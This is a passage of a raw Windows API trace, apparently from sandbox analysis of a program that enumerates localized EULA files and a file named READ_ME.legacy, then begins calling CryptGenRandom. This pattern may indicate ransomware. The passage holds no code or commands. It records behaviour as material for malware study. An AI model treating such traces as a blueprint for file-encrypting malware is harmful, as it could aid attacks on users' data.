ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10698, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_nl-nl.htm", cAlternateFileName="EULA_N~2.HTM")) returned 1 [0118.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0118.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0118.660] GetLastError () returned 0x5 [0118.660] SetLastError (dwErrCode=0x5) [0118.661] GetLastError () returned 0x5 [0118.661] SetLastError (dwErrCode=0x5) [0118.661] GetLastError () returned 0x5 [0118.661] SetLastError (dwErrCode=0x5) [0118.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0118.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0118.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c1b8 [0118.661] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ff747, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ff747, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x13f94, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_pl-pl.htm", cAlternateFileName="EULA_P~1.HTM")) returned 1 [0118.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0118.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0118.661] GetLastError () returned 0x5 [0118.661] SetLastError (dwErrCode=0x5) [0118.661] GetLastError () returned 0x5 [0118.661] SetLastError (dwErrCode=0x5) [0118.661] GetLastError () returned 0x5 [0118.661] SetLastError (dwErrCode=0x5) [0118.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0118.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0118.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c6e0 [0118.661] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea400ac7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea400ac7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10ac4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_pt-br.htm", cAlternateFileName="EULA_P~2.HTM")) returned 1 [0118.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0118.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0118.662] GetLastError () returned 0x5 [0118.662] SetLastError (dwErrCode=0x5) [0118.662] GetLastError () returned 0x5 [0118.662] SetLastError (dwErrCode=0x5) [0118.662] GetLastError () returned 0x5 [0118.662] SetLastError (dwErrCode=0x5) [0118.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0118.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0118.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c230 [0118.662] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea401e7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea401e7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1158e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_pt-pt.htm", cAlternateFileName="EULA_P~3.HTM")) returned 1 [0118.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0118.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0118.662] GetLastError () returned 0x5 [0118.662] SetLastError (dwErrCode=0x5) [0118.662] GetLastError () returned 0x5 [0118.662] SetLastError (dwErrCode=0x5) [0118.662] GetLastError () returned 0x5 [0118.662] SetLastError (dwErrCode=0x5) [0118.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0118.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0118.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c500 [0118.662] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5c6190, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5c6190, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_ro-ro.htm", cAlternateFileName="EULA_R~1.HTM")) returned 1 [0118.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0118.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0118.663] GetLastError () returned 0x5 [0118.663] SetLastError (dwErrCode=0x5) [0118.663] GetLastError () returned 0x5 [0118.663] SetLastError (dwErrCode=0x5) [0118.663] GetLastError () returned 0x5 [0118.663] SetLastError (dwErrCode=0x5) [0118.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bee8 [0118.663] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x454cc, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_ru-ru.htm", cAlternateFileName="EULA_R~2.HTM")) returned 1 [0118.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0118.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0118.663] GetLastError () returned 0x5 [0118.663] SetLastError (dwErrCode=0x5) [0118.663] GetLastError () returned 0x5 [0118.663] SetLastError (dwErrCode=0x5) [0118.663] GetLastError () returned 0x5 [0118.663] SetLastError (dwErrCode=0x5) [0118.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0118.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0118.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c488 [0118.664] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14021, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_sk-sk.htm", cAlternateFileName="EULA_S~1.HTM")) returned 1 [0118.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0118.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0118.664] GetLastError () returned 0x5 [0118.664] SetLastError (dwErrCode=0x5) [0118.664] GetLastError () returned 0x5 [0118.664] SetLastError (dwErrCode=0x5) [0118.664] GetLastError () returned 0x5 [0118.664] SetLastError (dwErrCode=0x5) [0118.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c578 [0118.664] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1026f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_sl-si.htm", cAlternateFileName="EULA_S~2.HTM")) returned 1 [0118.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0118.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0118.664] GetLastError () returned 0x5 [0118.664] SetLastError (dwErrCode=0x5) [0118.664] GetLastError () returned 0x5 [0118.664] SetLastError (dwErrCode=0x5) [0118.664] GetLastError () returned 0x5 [0118.665] SetLastError (dwErrCode=0x5) [0118.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bf60 [0118.665] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x12720, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_sr-latn-cs.htm", cAlternateFileName="EULA_S~3.HTM")) returned 1 [0118.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0118.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0118.665] GetLastError () returned 0x5 [0118.665] SetLastError (dwErrCode=0x5) [0118.665] GetLastError () returned 0x5 [0118.665] SetLastError (dwErrCode=0x5) [0118.665] GetLastError () returned 0x5 [0118.665] SetLastError (dwErrCode=0x5) [0118.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0118.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0118.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c9b0 [0118.665] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x112f7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_sv-se.htm", cAlternateFileName="EULA_S~4.HTM")) returned 1 [0118.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0118.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0118.665] GetLastError () returned 0x5 [0118.666] SetLastError (dwErrCode=0x5) [0118.666] GetLastError () returned 0x5 [0118.666] SetLastError (dwErrCode=0x5) [0118.666] GetLastError () returned 0x5 [0118.666] SetLastError (dwErrCode=0x5) [0118.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c5f0 [0118.666] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3e0c1, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_th-th.htm", cAlternateFileName="EULA_T~1.HTM")) returned 1 [0118.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0118.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0118.666] GetLastError () returned 0x5 [0118.666] SetLastError (dwErrCode=0x5) [0118.666] GetLastError () returned 0x5 [0118.666] SetLastError (dwErrCode=0x5) [0118.666] GetLastError () returned 0x5 [0118.666] SetLastError (dwErrCode=0x5) [0118.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c668 [0118.666] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x12581, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_tr-tr.htm", cAlternateFileName="EULA_T~2.HTM")) returned 1 [0118.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.666] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0118.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0118.667] GetLastError () returned 0x5 [0118.667] SetLastError (dwErrCode=0x5) [0118.667] GetLastError () returned 0x5 [0118.667] SetLastError (dwErrCode=0x5) [0118.667] GetLastError () returned 0x5 [0118.667] SetLastError (dwErrCode=0x5) [0118.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bfd8 [0118.667] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x411eb, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_uk-ua.htm", cAlternateFileName="EULA_U~1.HTM")) returned 1 [0118.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0118.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0118.667] GetLastError () returned 0x5 [0118.667] SetLastError (dwErrCode=0x5) [0118.667] GetLastError () returned 0x5 [0118.667] SetLastError (dwErrCode=0x5) [0118.667] GetLastError () returned 0x5 [0118.667] SetLastError (dwErrCode=0x5) [0118.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c050 [0118.668] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed21, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_zh-cn.htm", cAlternateFileName="EULA_Z~1.HTM")) returned 1 [0118.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0118.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0118.668] GetLastError () returned 0x5 [0118.668] SetLastError (dwErrCode=0x5) [0118.668] GetLastError () returned 0x5 [0118.668] SetLastError (dwErrCode=0x5) [0118.668] GetLastError () returned 0x5 [0118.668] SetLastError (dwErrCode=0x5) [0118.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0118.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0118.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c140 [0118.668] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_zh-hk.htm", cAlternateFileName="EULA_Z~2.HTM")) returned 1 [0118.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0118.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0118.668] GetLastError () returned 0x5 [0118.668] SetLastError (dwErrCode=0x5) [0118.668] GetLastError () returned 0x5 [0118.668] SetLastError (dwErrCode=0x5) [0118.668] GetLastError () returned 0x5 [0118.668] SetLastError (dwErrCode=0x5) [0118.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0118.669] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_zh-tw.htm", cAlternateFileName="EULA_Z~3.HTM")) returned 1 [0118.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0118.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0118.669] GetLastError () returned 0x5 [0118.669] SetLastError (dwErrCode=0x5) [0118.669] GetLastError () returned 0x5 [0118.669] SetLastError (dwErrCode=0x5) [0118.669] GetLastError () returned 0x5 [0118.669] SetLastError (dwErrCode=0x5) [0118.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60ca28 [0118.669] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd54be838, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd54be838, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd54be838, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0118.669] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0118.669] GetLastError () returned 0x5 [0118.669] SetLastError (dwErrCode=0x5) [0118.669] GetLastError () returned 0x5 [0118.669] SetLastError (dwErrCode=0x5) [0118.670] GetLastError () returned 0x5 [0118.670] SetLastError (dwErrCode=0x5) [0118.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.670] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.670] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd54be838, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd54be838, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd54be838, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0118.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bc18 [0118.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0118.670] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0118.670] CryptGenRandom (in: 